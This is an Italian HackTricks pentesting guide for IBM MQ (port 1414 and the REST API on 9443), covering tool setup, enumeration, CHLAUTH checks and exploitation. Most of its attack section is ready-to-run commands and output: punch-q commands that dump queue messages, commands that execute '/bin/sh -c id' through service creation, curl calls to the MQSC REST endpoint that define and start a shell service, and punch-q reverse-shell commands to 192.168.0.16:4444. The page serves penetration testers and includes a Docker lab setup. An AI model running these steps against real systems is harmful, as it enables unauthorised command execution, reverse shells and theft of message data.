1414 - Pentesting IBM MQ

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

IBM MQ è una tecnologia IBM per gestire le code di messaggi. Come altre tecnologie di broker di messaggi, è dedicata a ricevere, memorizzare, processare e classificare informazioni tra producer e consumer.

Di default, espone la porta TCP 1414 di IBM MQ. Talvolta, l’API REST HTTP può essere esposta sulla porta 9443. Le metriche (Prometheus) possono anche essere accessibili tramite la porta TCP 9157.

La porta TCP 1414 di IBM MQ può essere usata per manipolare messaggi, code, channel, … ma anche per controllare l’istanza.

IBM fornisce ampia documentazione tecnica disponibile su https://www.ibm.com/docs/en/ibm-mq.

Strumenti

Uno strumento suggerito per uno sfruttamento semplice è punch-q, con utilizzo via Docker. Lo strumento usa attivamente la libreria Python pymqi.

Per un approccio più manuale, usa la libreria Python pymqi. IBM MQ dependencies sono necessarie.

Installazione di pymqi

IBM MQ dependencies devono essere installate e caricate:

  1. Crea un account (IBMid) su https://login.ibm.com/.
  2. Scarica le librerie IBM MQ da https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Per Linux x86_64 è 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
  3. Decomprimi (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Esegui sudo ./mqlicense.sh per accettare i termini di licenza.

Se usi Kali Linux, modifica il file mqlicense.sh: rimuovi/commenta le seguenti righe (tra le righe 105-110):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. Installa questi pacchetti:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Poi, aggiungi temporaneamente i file .so a LD: export LD_LIBRARY_PATH=/opt/mqm/lib64, prima di eseguire altri strumenti che usano queste dipendenze.

Poi, puoi clonare il progetto pymqi: contiene frammenti di codice interessanti, costanti, … Oppure puoi installare direttamente la libreria con: pip install pymqi.

Uso di punch-q

Con Docker

Semplicemente usa: sudo docker run --rm -ti leonjza/punch-q.

Senza Docker

Clona il progetto punch-q poi segui il readme per l’installazione (pip install -r requirements.txt && python3 setup.py install).

Successivamente, può essere usato con il comando punch-q.

Enumerazione

Puoi provare a enumerare il nome del Queue Manager, gli utenti, i canali e le code con punch-q o pymqi.

Se TCP/1414 è filtrato o il target espone solo il web server embedded, controlla anche TCP/9443. Le versioni recenti di IBM MQ espongono lì di default la IBM MQ Console / REST API quando mqweb è abilitato, e l’endpoint REST amministrativo può eseguire comandi arbitrari MQSC se possiedi credenziali valide.

Queue Manager

A volte non c’è protezione per ottenere il nome del Queue Manager:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Canali

punch-q usa una wordlist interna (modificabile) per trovare canali esistenti. Esempio d’uso:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Succede che alcune istanze di IBM MQ accettino richieste MQ unauthenticated, quindi --username / --password non sono necessari. Ovviamente, i privilegi di accesso possono comunque variare.

Non appena otteniamo il nome di un channel (qui: DEV.ADMIN.SVRCONN), possiamo enumerare tutti gli altri channel.

L’enumerazione può essere eseguita fondamentalmente con questo snippet di codice code/examples/dis_channels.py da pymqi:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… Ma punch-q incorpora anche quella parte (con più informazioni!). Può essere avviato con:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

CHLAUTH / OAM recon

Molti casi del tipo “si connette ma restituisce 2035” sono causati da regole CHLAUTH o da permessi OAM mancanti sugli oggetti di destinazione.

Se hai già accesso MQSC amministrativo, MATCH(RUNCHECK) è il modo più veloce per capire quale regola verrà applicata a una connessione remota:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR

Attraverso l’endpoint REST di amministrazione su 9443, lo stesso controllo può essere eseguito da remoto:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Se hai diritti sufficienti per usare PCF da remoto, IBM espone MQCMD_INQUIRE_CHLAUTH_RECS, che restituisce i channel authentication records e le loro mappature su MCAUSER. Questo è utile per confermare se un channel associa utenti remoti a un account locale più privilegiato prima di tentare accesso ai messaggi, creazione di oggetti o abuso di servizi.

Code

C’è uno snippet di codice con pymqi (dis_queues.py) ma punch-q permette di recuperare più informazioni sulle code:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Puoi prendere di mira queue(s)/channel(s) per sniff out / dump messages da esse (operazione non distruttiva). Esempi:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

Non esitare a iterare su tutte le code identificate.

Esecuzione di codice

Alcuni dettagli prima di procedere: IBM MQ può essere controllato in diversi modi: MQSC, PCF, Control Command. Alcune liste generali si trovano in IBM MQ documentation. PCF (Formati di Comando Programmabili) è ciò su cui ci concentriamo per interagire da remoto con l’istanza. punch-q e inoltre pymqi si basano sulle interazioni PCF.

Puoi trovare una lista di comandi PCF:

Un comando interessante è MQCMD_CREATE_SERVICE e la sua documentazione è disponibile here. Accetta come argomento un StartCommand che punta a un programma locale sull’istanza (esempio: /bin/sh).

Nei documenti c’è anche un avviso riguardo a questo comando: “Attention: This command allows a user to run an arbitrary command with mqm authority. If granted rights to use this command, a malicious or careless user could define a service which damages your systems or data, for example, by deleting essential files.”

Nota: sempre secondo la documentazione IBM MQ (Administration Reference), esiste anche un endpoint HTTP in /admin/action/qmgr/{qmgrName}/mqsc per eseguire l’equivalente comando MQSC per la creazione del servizio (DEFINE SERVICE). Questo aspetto non è ancora trattato qui.

Se sono disponibili credenziali per MQ Console / REST API, spesso è possibile raggiungere le stesse primitive amministrative via HTTPS sulla porta 9443 senza usare le librerie client MQ. IBM documenta /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc come un endpoint che accetta comandi MQSC in chiaro o JSON.

La creazione/cancellazione di servizi via PCF per l’esecuzione remota di programmi può essere effettuata con punch-q:

Esempio 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

Nei log di IBM MQ puoi leggere che il comando è stato eseguito correttamente:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Puoi anche elencare i programmi presenti sulla macchina (qui /bin/doesnotexist … non esiste):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Tieni presente che il lancio del programma è asincrono. Quindi hai bisogno di un secondo elemento per sfruttare l’exploit (listener for reverse shell, creazione di file su un servizio diverso, data exfiltration through network …)

La stessa tecnica può essere eseguita tramite la REST API:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

Questo è particolarmente utile durante le valutazioni in cui:

  • 9443 è raggiungibile ma 1414 è limitata a un intervallo di sorgente più piccolo
  • Il team target gestisce IBM MQ principalmente tramite la web console e ha dimenticato di rafforzare i ruoli REST
  • Vuoi evitare di installare localmente le librerie client di IBM MQ e hai solo bisogno di amministrazione a livello MQSC

Esempio 2

Per una reverse shell semplice, punch-q propone anche due payloads di reverse shell :

  • Uno con bash
  • Uno con perl

Ovviamente puoi creare una personalizzata con il comando execute.

Per bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Per perl:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

PCF personalizzato

Puoi approfondire la documentazione di IBM MQ e usare direttamente la libreria python pymqi per testare comandi PCF specifici non implementati in punch-q.

Esempio:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Se non riesci a trovare i nomi delle costanti, puoi fare riferimento alla IBM MQ documentation.

_Esempio per MQCMD_REFRESH_CLUSTER (Decimale = 73). Richiede il parametro MQCA_CLUSTER_NAME (Decimale = 2029) che può essere _ (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

Ambiente di test

Se vuoi testare il comportamento di IBM MQ e gli exploits, puoi configurare un ambiente locale basato su Docker:

  1. Avere un account su ibm.com e cloud.ibm.com.
  2. Creare un IBM MQ containerizzato con:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

Qui, il nome del queue manager è stato impostato su MYQUEUEMGR (variabile MQ_QMGR_NAME).

Le immagini developer più recenti 9.4.x hanno modificato il comportamento predefinito:

  • admin e app vengono creati solo se imposti le loro password
  • IBM documenta MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD come deprecati a partire da 9.4.0.0
  • Il modo consigliato è iniettare secrets denominati mqAdminPassword e mqAppPassword

Per un rapido laboratorio locale con Podman, puoi creare entrambi gli utenti così:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest

Con la configurazione di sviluppo predefinita:

  • DEV.ADMIN.SVRCONN consente solo l’utente admin
  • DEV.APP.SVRCONN è il channel dell’applicazione e l’utente app è l’identità prevista
  • https://<target>:9443/ibmmq/console espone la console web quando il server web incorporato è abilitato

Dovresti avere IBM MQ in esecuzione con le sue porte esposte:

❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Le vecchie versioni delle immagini Docker di IBM MQ sono disponibili su: https://hub.docker.com/r/ibmcom/mq/.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks